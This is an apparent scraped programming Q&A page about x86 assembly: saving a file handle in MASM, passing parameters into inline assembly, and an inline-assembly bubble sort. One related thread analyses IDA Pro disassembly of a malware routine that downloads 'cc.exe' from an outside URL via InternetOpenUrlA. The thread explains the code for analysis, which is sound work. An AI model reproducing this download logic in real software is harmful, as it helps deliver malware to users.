MASM ReadFile failed because of a bad handle value in EAX register - file-io

I want to convert the following C++ program in MASM (The goal is to open an existing file, write a string into it and at the end read the file) :
void __cdecl _tmain(int argc, TCHAR *argv[])
{
HANDLE hFile;
/////////////////////////////////////////////////////////////////////////////////
if ((hFile = CreateFile(TEXT("C:\\Users\\Bloodsucker94\\Desktop\\TestFile.txt"),
GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)) == INVALID_HANDLE_VALUE)
_tprintf(TEXT("CreateFile() failed code %d\n"), GetLastError());
/////////////////////////////////////////////////////////////////////////////////
char DataBuffer[1024] = "aaa";
DWORD dwBytesToWrite = (DWORD)strlen(DataBuffer);
DWORD dwBytesWritten = 0;
//_tprintf(TEXT("CreateFile() HFILE=%d\n"), hFile);
if (WriteFile(hFile, DataBuffer, dwBytesToWrite, &dwBytesWritten, NULL) == FALSE)
_tprintf(TEXT("WriteFile() failed code %d\n"), GetLastError());
//_tprintf(TEXT("WriteFile() HFILE=%d\n"), hFile);
/////////////////////////////////////////////////////////////////////////////////
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
char ReadBuffer[4096] = {0};
DWORD dwBytesRead;
if (FALSE == ReadFile(hFile, ReadBuffer, 4096, &dwBytesRead, NULL))
_tprintf(TEXT("ReadFile() failed code %d\n"), GetLastError());
printf("|%s|", ReadBuffer);
getchar();
CloseHandle(hFile);
}
The ASM code :
.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
include \masm32\include\msvcrt.inc
includelib \masm32\lib\msvcrt.lib
.data
FileName BYTE "HelloWorld.txt", 0
BufferToWrite BYTE "Hell yeaahhhhhh!!!!", 0
ErrorCreateMsgFormat BYTE "CreateFile() failed with code %d", 0
ErrorReadMsgFormat BYTE "ReadFile() failed with code %d", 0
ErrorWriteMsgFormat BYTE "WriteFile() failed with code %d", 0
CheckFormat BYTE "hFile=%d", 0
CheckSize BYTE "size=%d", 0
CheckPtr BYTE "EAX_ADDR=Ox%08X", 0
OutputFormat BYTE "output=%s", 0
.data?
hFile HANDLE ?
hFileCopy HANDLE ?
FileSize DWORD ?
hMem LPVOID ?
BytesRead LPDWORD ?
ErrorCode DWORD ?
RetRead BOOL ?
RetWrite BOOL ?
NumberOfBytesToWrite DWORD ?
NumberOfBytesWritten DWORD ?
BufferToWriteSize DWORD ?
.code
start:
invoke lstrlen, ADDR BufferToWrite
mov BufferToWriteSize, eax
;-----------------------------CREATE-------------------------------
invoke CreateFile, ADDR FileName, \
GENERIC_WRITE + GENERIC_READ, \
0, \
NULL, \
OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL, \
NULL
mov hFile, eax
.IF hFile == INVALID_HANDLE_VALUE
invoke GetLastError
mov ErrorCode, eax
invoke crt_printf, ADDR ErrorCreateMsgFormat, \
ErrorCode
jmp _quit
.ENDIF
invoke crt_printf, ADDR CheckFormat, \
hFile
;---------------------------WRITE---------------------------------
invoke WriteFile, hFile, \
ADDR BufferToWrite, \
BufferToWriteSize, \
ADDR NumberOfBytesWritten, \
NULL
mov RetWrite, eax
.IF RetWrite == FALSE
invoke GetLastError
mov ErrorCode, eax
invoke crt_printf, ADDR ErrorWriteMsgFormat, \
ErrorCode
jmp _quit
.ENDIF
invoke crt_printf, ADDR CheckFormat, \
hFile
;--------------------------READ----------------------------------
invoke GetFileSize, eax, \ ;problem start here
NULL
mov FileSize, eax
inc eax
invoke crt_printf, ADDR CheckSize, \
FileSize
invoke GlobalAlloc, GMEM_FIXED, \
eax
mov hMem, eax
add eax, FileSize
mov BYTE PTR [eax], 0
invoke ReadFile, hFile, \
hMem, \
FileSize, \
ADDR BytesRead, \
NULL
mov RetRead, eax
.IF RetRead == FALSE
invoke GetLastError
mov ErrorCode, eax
invoke crt_printf, ADDR ErrorReadMsgFormat, \
ErrorCode
jmp _quit
.ENDIF
invoke crt_printf, ADDR CheckFormat, \
hFile
invoke crt_printf, ADDR OutputFormat, \
hMem
invoke CloseHandle, hFile
invoke GlobalFree, hMem
_quit:
invoke ExitProcess, 0
end start
The problem is EAX register not contain the CreateFile return value (hFile).
It's normal because it contains at the point of the execution the value of the WriteFile function. I didn't find any solution to conserve the initial value of eax returned by CreatefILE function and use it again after the WriteFile function call.
I can't do this :
mov FileSize, hFile
I just want to save the first value of eax. I tried to save it into another register but it does not work. Does anyone can help me ?

Eiher:
.data
savedValue DWORD ?
.code
…
// save to a variable
mov savedValue, eax
…
// restore from a variable
mov eax, savedValue
…
or:
.code
…
// save to stack
push eax
…
// restore from stack
pop eax
…
Sorry for any syntax errors. It's been a long a time since the last common use case for direct assembly use.

Related

How to pass function parameters into inline assembly blocks without assigning them to register variables in c++ [duplicate]

This question already has answers here:
How to access C variable for inline assembly manipulation?
(2 answers)
How to invoke a system call via syscall or sysenter in inline assembly?
(2 answers)
How do I pass inputs into extended asm?
(1 answer)
Closed 3 years ago.
I am trying to write a function, which prints string to stdout without importing <cstdio> or <iostream>.
For this I am trying to pass 2 parameters (const char* and const unsigned) to the asm(...) section in c++ code. And calling write syscall.
This works fine:
void writeInAsm(const char* str, const unsigned len) {
register const char* arg3 asm("rsi") = str;
register const unsigned arg4 asm("rdx") = len;
asm(
"mov rax, 1 ;" // write syscall
"mov rdi, 1 ;" // file descriptor 1 - stdout
"syscall ;"
);
}
Is it possible to do this without those first two lines in which I assign parameters to registers?
Next lines don't work:
mov rsi, str;
// error: relocation R_X86_64_32S against undefined symbol `str' can not be used when making a PIE object; recompile with -fPIC
// compiled with -fPIC - still got this error
mov rsi, [str];
// error: relocation R_X86_64_32S against undefined symbol `str' can not be used when making a PIE object; recompile with -fPIC
// compiled with -fPIC - still got this error
mov rsi, dword ptr str;
// incorrect register `rsi' used with `l' suffix
mov rsi, dword ptr [str];
// incorrect register `rsi' used with `l' suffix
I am compiling with g++ -masm=intel. I am on x86_64 Intel® Core™ i7-7700HQ CPU # 2.80GHz × 8, Ubuntu 19.04 5.0.0-36-generic kernel (if it matters).
$ g++ --version
g++ (Ubuntu 8.3.0-6ubuntu1) 8.3.0
Edit: According to Compiler Explorer, the next can be used:
void writeInAsm(const char* str, const unsigned len) {
asm(
"mov rax, 1 ;"
"mov rdi, 1 ;"
"mov rsi, QWORD PTR [rbp-8] ;"
"mov edx, DWORD PTR [rbp-12] ;"
"syscall ;"
);
}
But is it always rbp register and how will it change with larger number of parameters?

Parameter passing to subroutine x64 inline assembly(Vc++ 2015 with Intel c++ compiler 2017)

I coded
main()
{
unsigned char *memory;
unsigned int a=15;
float sigma=5.0f;
gaussian_filter();
}
gaussian_filter()
{
unsigned __int64 evacuate_rbp;
unsigned __int64 evacuate_rsp;
__asm
{
mov eax, a
...
mov evacuate_rbp, rbp
mov evacuate_rsp, rsp
...
mov rsp, memory
...
movss xmm0, sigma
....
mov rbp, evacuate_rbp
mov rsp, evacuate_rsp
}
}
I want to non-parameter passing to use rbp and rsp registers as an address index of memory.
In Build with Intel C++ compiler, error is occured. Why?.

I don't get this x86 Assembly Inline code

void a(DWORD b) {
__asm {
mov ecx, b
mov eax, [ecx]
call dword ptr[eax + 12]
}
}
What I don't get about this is that its moving "b" over to the ECX register, then moving it back to the EAX register, and then calling the function located within the EAX register.
Is it inefficient code? Is it supposed to be like that?
Why can't I do:
__asm {
mov eax, b
call dword ptr[eax + 12]
}
I'm really confused here. Am I missing something about the general concept about registers in assembly?

Unable to analyze the nature of the function in a given memory location

I'm trying to analyze malware in an executable. I'm trying to analyze the nature of the function at the subroutine sub_401040. When I ran it in IDA Pro, I got assembly code that looks something like the one that is posted below. However, I'm a bit confused on what exactly is happening at this function. Any help will be highly appreciated!
I can understand that subroutine 401040 has got a single parameter. But I'm lost trying to understand its functionality or how the parameter is being used.
sub_401040 proc near
Buffer= dword ptr -230h
var_22C= byte ptr -22Ch
hFile= dword ptr -30h
hInternet= dword ptr -2Ch
szAgent= byte ptr -28h
dwNumberOfBytesRead= dword ptr -8
var_4= dword ptr -4
arg_0= dword ptr 8
push ebp
mov ebp, esp
sub esp, 230h
mov eax, [ebp+arg_0]
push eax
push offset aInternetExplor ; "Internet Explorer 7.50/lol%d"
lea ecx, [ebp+szAgent]
push ecx ; char *
call _sprintf
add esp, 0Ch
push 0 ; dwFlags
push 0 ; lpszProxyBypass
push 0 ; lpszProxy
push 0 ; dwAccessType
lea edx, [ebp+szAgent]
push edx ; lpszAgent
call ds:InternetOpenA
mov [ebp+hInternet], eax
push 0 ; dwContext
push 0 ; dwFlags
push 0 ; dwHeadersLength
push 0 ; lpszHeaders
push offset szUrl ; "http://www.inactivedomain.com/cc.exe"
mov eax, [ebp+hInternet]
push eax ; hInternet
call ds:InternetOpenUrlA
mov [ebp+hFile], eax
cmp [ebp+hFile], 0
jnz short loc_4010B1
Basically, it's doing this (psueudocode):
sprintf(szAgent, "Internet Explorer 7.50/lol%d", arg0);
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
// Initializes an application's use of the WinINet functions.
HINTERNET hInternet = InternetOpen(szAgent, 0, 0, 0, 0);
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa385098(v=vs.85).aspx
// Opens a resource specified by a complete FTP or HTTP URL.
HINTERNET Return = InternetOpenUrl(hInternet, "http://www.inactivedomain.com/cc.exe", 0, 0, 0, 0 );
if (!Return) // etc...

How to sort Dynamically allocated array with bubble sort algorithm written in inline assembly?

So i have an assignment where i have to sort dynamically allocated array with a bubble sort written as inline assembly function. Trouble is that my assembly function won't work with dynamically allocated array.
int *array;
array=new int[N]; //N=number of elements
for(int i=0;i<N;i++)
{
//generate random numbers
}
N--;
__asm {
outer_loop:
xor edx, edx
lea esi, array
mov ecx, N
inner_loop:
mov eax, [esi]
mov ebx, [esi+4]
cmp eax, ebx
jae next_pair
mov [esi], ebx
mov [esi+4], eax
add edx, 1
next_pair:
add esi,4
dec ecx
jnz inner_loop
test edx, edx
jnz outer_loop
}
for(int t=0;t<5;t++)
{
cout<<array[t]<<" "; // it get's stuck here "Unhandled exception"
}
I don't know what I'm doing wrong because I am a NOOB and I'm kinda out of options so yea.
Thanks anyway
I tested your code in masm32 because you should be using Visual studio that uses masm syntax, and my compiler is the GCC, your bubble sort don't work because lea esi, array replaces for mov esi, array maybe it work because I don't tested in VS, the fragment of code is in intel syntax and AT&T syntax is here
void BubbleSort(int *array, int n) {
n--;
__asm__ __volatile__(
"outter_loop:\n"
".intel_syntax noprefix\n" // use intel syntax
"xor edx, edx\n"
".att_syntax prefix\n" // back to at&t to get parameters
"movl %[p], %%esi\n" // mov esi, array
"movl %[n], %%ecx\n" // mov ecx, n
".intel_syntax noprefix\n"
"inner_loop:\n"
"mov eax, [esi]\n"
"mov ebx, [esi+4]\n"
"cmp eax, ebx\n"
"jae next_pair\n"
"mov [esi], ebx\n"
"mov [esi+4], eax\n"
"mov edx, 1\n"
"next_pair:\n"
"add esi, 4\n"
"dec ecx\n"
"jnz inner_loop\n"
"test edx, edx\n"
"jnz outter_loop\n"
".att_syntax prefix\n" // back to at&t again
:
:[p]"m"(array), [n]"m"(n)
: "%eax", "%ebx", "%ecx", "%edx", "%esi"); // clobbered registers
}
well this code fragment works perfectly since you wanted to makes in order from highest to lowest.